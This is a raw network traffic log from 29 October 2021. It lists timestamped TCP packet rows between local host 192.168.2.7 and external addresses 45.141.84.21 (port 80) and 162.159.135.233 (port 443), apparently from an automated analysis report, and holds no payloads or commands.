Oct 29, 2021 15:31:19.814522028 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.814544916 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.814546108 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.814569950 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.814589024 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.814589024 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.814610958 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.814641953 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.814800024 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.814826012 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.814841032 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.814841032 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.814865112 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.814879894 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.814896107 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.814933062 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.814994097 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.815011024 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.815045118 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.815059900 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.815068960 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.815093994 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.815104961 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.815114975 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.815144062 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.815342903 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.815368891 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.815412998 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.815566063 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.815591097 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.815614939 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.815638065 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.815643072 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.815656900 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.815681934 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.815860033 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.815886021 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.815901995 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.815908909 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.815927982 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.815943003 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.816000938 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816025972 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816040039 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.816050053 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816085100 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.816116095 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816140890 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816164017 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816180944 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816181898 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.816220045 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.816239119 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816263914 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816287041 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816303968 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816306114 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.816349030 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.816553116 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816577911 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816600084 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816616058 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816627979 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.816652060 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.816776037 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816802025 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816826105 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816843033 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816844940 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.816886902 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.816900969 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816925049 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816948891 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.816965103 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.816967010 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.817007065 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.817225933 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.817251921 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.817274094 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.817291021 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.817301989 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.817327976 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.817389011 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.817413092 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.817435980 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.817451954 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.817452908 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.817490101 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.824316025 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.824368000 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.824414968 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.824451923 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.824492931 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.824501991 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.824543953 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.824563980 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.824568987 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.824605942 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.824625969 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.824630976 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.824665070 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.824673891 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.824692965 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.824697018 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.824731112 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.824740887 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.824748039 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.824775934 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.824790001 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.824803114 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.824806929 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.824860096 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.824868917 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.824917078 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.824929953 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.824934006 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.824969053 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.824989080 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825031996 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825042009 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.825047970 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825089931 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.825099945 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825140953 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825154066 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.825158119 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825184107 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.825196028 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825253010 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.825262070 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825309038 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.825320959 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825360060 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825381041 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.825388908 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825428963 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.825448036 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825463057 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.825468063 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825510025 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.825515032 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825562000 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825583935 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.825591087 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825625896 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.825645924 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825685024 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825700045 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.825704098 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825745106 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.825750113 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.825802088 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.825807095 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.826139927 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.826164007 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.826231003 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.826237917 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.842266083 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.842293024 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.842490911 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.842500925 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.842739105 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.842758894 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.842819929 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.842827082 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.842880964 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.842973948 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.842995882 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.843064070 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.843069077 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.843247890 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.843269110 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.843341112 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.843347073 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.843384981 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.843523026 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.843543053 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.843595982 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.843605042 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.843651056 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.843743086 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.843764067 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.843822002 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.843827009 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.843866110 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.843975067 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.843995094 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.844055891 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.844060898 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.844211102 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.844230890 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.844281912 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.844290018 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.844335079 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.844463110 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.844480991 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.844541073 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.844546080 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.844583035 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.844693899 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.844712973 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.844773054 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.844782114 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.844813108 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.844981909 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.845005035 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.845063925 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.845073938 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.845134974 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.845227003 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.845247030 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.845304966 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.845309973 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.845484018 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.845504045 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.845541954 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.845547915 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.845578909 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.845716953 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.845737934 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.845781088 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.845788956 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.845834017 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.846267939 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.846296072 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.846368074 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.846374989 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.846503973 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.846524954 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.846564054 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.846569061 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.846601009 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.846760035 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.846782923 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.846832991 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.846838951 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.846880913 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.846986055 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.847004890 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.847062111 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.847067118 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.847111940 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.847249031 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.847270012 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.847333908 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.847338915 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.847377062 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.847593069 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.847615004 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.847718954 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.847724915 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.847834110 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.847856045 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.847897053 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.847904921 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.847955942 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.848062992 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.848083019 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.848129988 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.848134995 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.848169088 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.851831913 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.859977961 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.860006094 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.860147953 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.860156059 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.863068104 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.863090992 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.863231897 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.863239050 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.864103079 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.864125967 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.864211082 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.864223003 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.864355087 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.864372969 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.864413977 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.864419937 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.864461899 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.864626884 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.864646912 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.864700079 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.864707947 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.865457058 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.865479946 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.865550041 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.865561008 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.865736961 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.865757942 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.865825891 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.865832090 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.865859985 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.865964890 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.865991116 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.866054058 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.866061926 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.866070986 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.866363049 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.866384983 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.866442919 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.866449118 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.866472006 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.866523981 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.866542101 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.866632938 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.866636992 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.866646051 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.866786957 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.866808891 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.866869926 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.866875887 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.866899967 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.867069006 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.867089033 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.867137909 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.867142916 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.867181063 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.867358923 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.867378950 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.867427111 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.867435932 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.867458105 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.867641926 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.867666960 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.867711067 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.867718935 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.867744923 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.867922068 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.867940903 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.867985964 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.867993116 CEST	443	49854	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.868019104 CEST	49854	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.868186951 CEST	443	49854	162.159.135.233	192.168.2.7
